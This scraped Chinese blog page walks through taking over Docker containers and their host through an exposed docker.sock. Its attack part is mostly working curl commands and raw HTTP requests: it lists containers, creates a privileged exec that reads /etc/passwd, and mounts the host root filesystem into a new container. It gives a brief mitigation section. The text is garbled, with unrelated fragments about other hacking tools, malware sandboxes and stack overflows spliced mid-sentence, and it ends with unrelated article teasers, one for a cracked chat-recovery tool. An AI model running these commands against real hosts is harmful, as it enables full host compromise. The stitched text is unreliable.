装机必备:经过露出的docker.sock文件接收容器

访客5年前黑客文章885

默许情况下,当在主机上实行docker指令时,对docker daemon的API调用是通过坐落/var/run/docker.sock的非联网UNIX套接字进行的。此套接字文件是控制在该主机上工作的任何docker容器的主API。可是,许多容器和攻略会要求你将该套接字文件作为容器中的一个卷揭露[1][2][3][4][5][6] ,或在某些情况下,将其露出在TCP端口[1][2][3]上。这样做是非常风险的,本地或长途露出/var/run/docker.sock的Docker容器很有或许会被恶意攻击者完全的接收。

到现在,我已发现了很多将docker.sock露出在互联

众所周知,系统中都存在本地处理帐户,如本地处理员帐户,root账户或应用程序为了能在全部系统中同享数据而特定设置了一个通用的账户暗码。网中的服务器。

其实这并不是一个新鲜的缝隙,在此之前早已有文章评论过关于露出docker.sock文件所带来的风险性的文章。而本文我将扩展这个问题,解说怎样运用它,以及怎样采纳 *** 应对这个问题。假设你在Twitter上重视了我,你将会在不久后获取到我共享的一个脚本,它能够协助你更轻松地进行运用。

你能做什么?

运用露出的docker.sock文件,你能够在主机上工作的恣意容器中实行你想要的任何操作。通过本地或长途访问docker.sock文件,你能够像在主机上工作docker指令相同控制docker。

最简略的比如是运用官方docker客户端访问docker.sock文件(例如你可巧访问到了已设备docker客户端的容器,或是你能够设备docker客户端)。要运用它很简略,你能够工作惯例的docker指令,包含exec来获取shell:

root@9e50daaea94f:/# ls -alh /var/run/docker.sock #checking if socket is availiblesrw-rw---- 1 root 999 0 Apr  4 02:00 /var/run/d4、模块化:能够编写自己的C++插件来进行有用的网表分析和操作;ocker.sockroot@9e50daaea94f:/#那么,终究发作了什么呢? hostname9e50daaea94froot@9e50daaea94f:/# docker container lsCONTAINER ID        NAMES509eebf873fb        another_container9e50daaea94f        current_containerroot@9e50daaea94f:/# docker exec -it another_container bash #running bash on the other containerroot@509eebf873fb:/# hostname509eebf873fb

但是,想要工作它,你有必要已在容器上设备RCE。即便运用RCE,大多数情况下你也或许无法访问docker客户端,以及设备docker客户端。假设是这种情况,你能够对/var/run/docker.sock进行原始http恳求。

虽然能够通过向docker.sock文件宣布HTTP恳求来在docker容器上运用RCE运用docker环境,但这种情况不太或许发生。更大的几率是找到通过TCP端口长途露出的docker.sock文件。

假设你需求工作未在以下列出的任何其他指令,docker API将能够很好的帮到你。

这里有一个CloudFormation脚本。你需求具有一个具有发动新EC2实例权限的AWS账户。完结后别忘了删去stack!

在容器上获取 RCE1)列出一切容器

之一步是获取主机上一切容器的列表。为此,你需求实行以下http恳求:

GET /containers/json HTTP/1.1Host: <docker_host>:PORT

Curl 指令:

curl -i -s -X GET http://<dock namespace PSLesser_host>:PORT/containers/json

呼应:

HTTP/1.1 200 OKApi-Version: 1.39Content-Type: application/jsonDocker-Experimental: falseOstype: linuxServer: Docker/18.09.4 (linux)Date: Thu, 04 Apr 2019 05:56:03 GMTContent-Length: 1780[    {        "Id":"a4621ceab3729702f18cfe852003489341e51e036d13317d8e7016facb8ebbaf",        "Names":["/another_container"],        "Image":"ubuntu:latest",        "ImageID":"sha256:94e814e2efa8845d95b2112d54497fbad173e45121ce9255b93401392f538499",        "Command":"bash",        "Created":1554357359,        "Ports":[],        "Labels":{},        "State":"running",        "Status":"Up 3 seconds",        "HostConfig":{"NetworkMode":"default"},        "NetworkSettings":{"Networks":         ...

留心呼应中的“Id”字段,因为下一个指令将会用到它。

2) 创建一个 exec

接下来,我们需求创建一个将在容器上实行的“exec”实例。你能够在此处输入要工作的指令。

恳求中的以下项目需求在恳求中进行更改:

Container ID Docker Host Port Cmd(我的示例中将 cat /etc/passwd)

POST /containers/<container_id>/exec HTTP/1.1Host: <docker_host>:PORTContent-Type: application/jsonContent-Length: 188{  "AttachStdin": true,  "AttachStdout": true,  "AttachStderr": true,  "Cmd": ["cat", "/etc/passwd"],  "DetachKeys": "ctrl-p,ctrl-q",  "Privileged": true,  "Tty": true}

Curl 指令:

curl -i -s -X POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' http://<docker_host>:PORT/containers/<container_id>/exec

呼应:

HTTP/1.1 201 CreatedApi-Version: 1.39Content-Type: application/jsonDocker-Experimental: falseOstype: linuxServer: Docker/18.09.4 (linux)Date: Fri, 05 Apr 2019 00:51:31 GMTContent-Length: 74{"Id":"8b5e4c65e182cec039d38ddb9c0a931bbba8f689a4b3e1be1b3e8276dd2d1916"}

留心呼应中的“Id”字段,因为下一个指令将会用到它。

3)发动 exec

现在创建了“exec”,我们需求工作它。

你需求更改恳求中的以下项目:

Exec ID Docker Host Port

POST /exec/<exec_id>/start HTTP/1.1Host: <docker_host>:PORTContent-Type: application/json{ "Detach": false, "Tty": false}

Curl 指令:

curl -i -s -X POST -H 'Content-Type: application/json' --data-binary '{"Detach": false,"Tty": false}' http://<docker_host>:PORT/exec/<exec_id>/start

呼应:

HTTP/1.1 200 OKContent-Type: application/vnd.docker.raw-streamApi-Version: 1.39Docker-Experimental: falseOstype: linuxServer: Docker/18.09.4 (linux)root:x:0:0:root:/r3、Recon-AD-Groups: 查询组政策和相应的特色;oot:/bin/bashdaemon:x:1:1:daemon:/usr/ *** in:/usr/ *** in/nologinbin:x:2:2:bin:/bin:/usr/ *** in/nologinsys:x:3:3:sys:/dev:/usr/ *** in/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/ *** in/nologinman:x:6:12:man:/var/cache/man:/usr/ *** in/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/ *** in/nologinmail:x:8:8:mail:/var/mail:/usr/ *** in/nologinnews:x:9:9:news:/var/spool/news:/usr/ *** in/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/ *** in/nologinproxy:x:13:13:proxy:/bin:/usr/ *** in/nologinwww-data:x:33:33:www-data:/var/www:/usr/ *** in/nologinbackup:x:34:34:backup:/var/backups:/usr/ *** in/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/ *** in/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/ *** in/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/ *** in/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/ *** in/nologin_apt:x:100:65534::/nonexistent:/usr/ *** in/nologin
接收主机

发动一个docker容器,主机的根目录设备到容器的一个卷上,这样就能够对主机的文件系统实行指令。因为本文中所评论的缝隙答应你完全的控制API,因此能够控制docker主机。

留心:不要忘掉更改dockerhost,port和containerID 

1)下载 ubuntu 镜像
curl -i -s -k  -X 'POST' -H 'Content-Type: application/json' http://<docker_host>:PORT/images/create?fromImage=ubuntu&tag=latest
2)运用已设备的卷创建容器
curl -i -s -k  -X 'POST' -H 'Content-Type: application/json' --data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostos/": {}},"HostConfig": {"Binds": ["/:/hostos"]}}' http://<docker_host>:PORT/containers/create
3)发动容器
curl -i -s -k  -X 'POST' -H 'Content-Type: application/json' http://<docker_host>:PORT/containers/<container_ID>/start

至此,你能够运用代码实行缝隙对新容器工作指令。假设要对Host OS工作指令,请不要忘掉增加chroot/hostos。

怎样修正?

防止长途或在容器等级露出docker.sock文件(假设或许)

假设你需求长途供应套接字文件,请实行此处的操作

设置恰当的安全组和防火墙规矩,以阻挠不合法IP的访问

附录本地指令

下面是一个CURL指令列表,假设API不能长途运用,但能够在本地运用,则能够工作这些指令。

1) 列出一切的容器

sudo curl -i -s --unix-socket /var/run/docker.sock -X GET http://localhost/containers/json

2) 创建一个 exec

sudo curl -i -s --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' http://localhost/containers/<container_id>/exec

3) 发动 exec

sudo curl -i -s --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' --data-binary '{"Detach": false,"Tty": false}' http://localhost/exec/<exec_id>/start

*参阅来历:dejandayoff,FB小编secist编译,转载请注明来自FreeBuf.COM

装机必备:经过露出的docker.sock文件接收容器

该东西不需求设备格外的依托组件,因此它能够直接在一切的类Unix系统上直接工作,其间包含: ]此外,我们可在各种系统日志中看到一些越狱的痕迹。关于任何越狱的提取 *** 来说,留下越狱痕迹是不可防止的,只是多少的问题。而完全防止iOS系统日志中越狱痕迹的仅有 *** 是通过DFU对设备进行映像,然后解密数据分区,但这在任何现代iOS设备上都是不或许完结的。

早年做CTF时关于算法辨认插件一贯颇有微词,一方面是Linux下没有适合的,第二个是算法辨认插件大部分只针对一个特定的常量数组进行辨认。因为在CTF的逆向中我们需求的是找到加密的主函数,所以我检验结合了yara的辨认原理,通过对常量数组的引用的查找,一步步递归构建调用树。调用树根部就是或许的暗码算法主函数。通过暴露的docker.sock文件接管容器

装机必备这儿我们需求创建一个专门的驱动程序,你或许会认为netsh端口重定向技术或许会有用,但其实不然。虽然创建一个驱动程序听起来如同并不是最志向的处理计划,但假设你搜索类似wfp端口联接之类的相关内容,你就会发现答案@agsolino现已给出了,接下来我们一起看一看怎样运用meterpreter和上述技术来重定向政策系统端口445的联接。下图闪现的是整个技术的作业机制:不幸的是,因为没有满意的权限,不能简略地检查test_scripts中包含的文件,所以有必要寻找另一种侵犯dev服务器的 *** 。继续探求不同的子网,我们遇到了一个NAS服务器:getuid

检查RAW套接字Cuckoo是现在运用得非常广泛的一种动态分析系统,其主要功用就是把恶意程序放到Cuckoo系统的虚拟机中,Cuckoo担任工作这些样本程序,并记载它们在虚拟环境中的行为,然后根据捕获到的行为去匹配一个指纹集(Signature),这个指纹集内界说了许多恶意程序的特征行为,比如在要害的方位写入注册表、或许在活络目录有读写文件的行为等等,终究根据匹配到的指纹对该样本程序进行打分,以点评其危害等级。比较于静态文件特征,行为特征某些情况下更能反应真实的危害情况,并且在没有静态特征的情况下动态特征或许是仅有可行的检测 *** 。%param1;装机必备

Method drwxr-xr-x 8 takboo staff 272B May 4 15:05 m *** 7627_surf/3.2 驱动保护及检测

PASS barcom.android.email.SecurityPolicy类的isActiveAdmin *** ,使其回来值为true;isActive *** ,使其回来值为true;getInactiveReasons *** ,使其回来值为0;remoteWipe *** ,使其不做任何操作;com.android.emailcommon.provider.Policy类的normalize *** ,使其初始调用为updatePolicy *** ;#include 通过暴露的docker.sock文件接管容器

装机必备三、360防火墙--防护等级★★★★#include //exit() function

4. OSX上设置VPS作为DNS服务器 return;编写一个简略的栈溢出程序stack.c:装机必备

auto slash(cynject.rfind('/'));# IN PVOID MemoryPointer,

1.从概要文件元数据中获得Windows版别

其他,QSEECOM_start_app函数运用比特于0x2C偏移的字,以便于核算.bXX文件的数量,对应上图中的ELF头中的e_phnum字段。通过暴露的docker.sock文件接管容器

#include在IDA PRO中参与第三方PYTHON链接库 HyTrust—供应访问控制、战略实行、处理程序的硬化。在Immunity Debugger中,EIP也被41414141(AAAA级)所覆写,而它刚好匹配上我们的payload。需求留心的是,要记住在每次溃散之后重启WAR-FTPD,然后再进行下一次检验。
本文标题:装机必备:经过露出的docker.sock文件接收容器

相关文章

婚内协议书范本 婚内出轨保证书范文

完婚是一件大事儿,大部分人一生就结一次婚。可是如今的中国离婚率愈来愈高,为了更好地确保婚姻生活的长期,一些夫妇会签署婚内协议。那婚内协议要怎么写才合理呢?讨论一下婚内协议书样本和婚后出轨保证书范文吧!...

免费恢复微信聊天记录破解版(微信聊天记录恢复软件下载)

免费恢复微信聊天记录破解版(微信聊天记录恢复软件下载)微信好友不小心删除了,该怎么找回呢?小编吐血整理了十种找回微信好友的方法,并且都以图文的形式进行了详细说明,相信总有一种方法适合你。 免费恢复微...

qq农场绿葫芦(qq农场多彩葫芦)

拥有单色葫芦(七个),收获成果后在加工坊(目前只对黄钻开放,以后会逐步对普通玩家开放)可加工成多彩葫芦。当然可以卖钱。 集齐7种颜色葫芦可以加工多彩葫芦 您好.挖地能挖到的,多彩葫芦是在活动中得到的,...

黑客警告美国警局的简单介绍

黑客警告美国警局的简单介绍

2017年置美国于危险之中的那些黑客事件? 西方400万政府雇员资料被窃西方政府于2017年遇到了史上最大的黑客袭击事件,400万的联邦现任雇员和前任雇员的资料被窃取。当时英法联军以“亚罗船事件”为藉...

怎么找网络黑客帮忙恢复数据-黑客使用笔记本排行(黑客一般用笔记本还是台式机)

怎么找网络黑客帮忙恢复数据-黑客使用笔记本排行(黑客一般用笔记本还是台式机)

怎么找网络黑客帮忙恢复数据相关问题 黑客可以黑进赌博app吗相关问题 黑客代表什么意思 苹果手机怎么寻找另一部手机(电脑寻找苹果手机位置) 黑客所说的量是什么 如何模仿黑客...

惠州网站建设有哪些技巧?推荐惠州网站建设的4大技巧

一个网站的取得成功是否与建网站前的网站的建设拥有极其重要的关联。在建设网站前要确立企业建站的目地,明确网址的作用,明确网址经营规模、资金投入花费,开展必需的市场需求分析等。仅有更强的把握和掌握企业网站...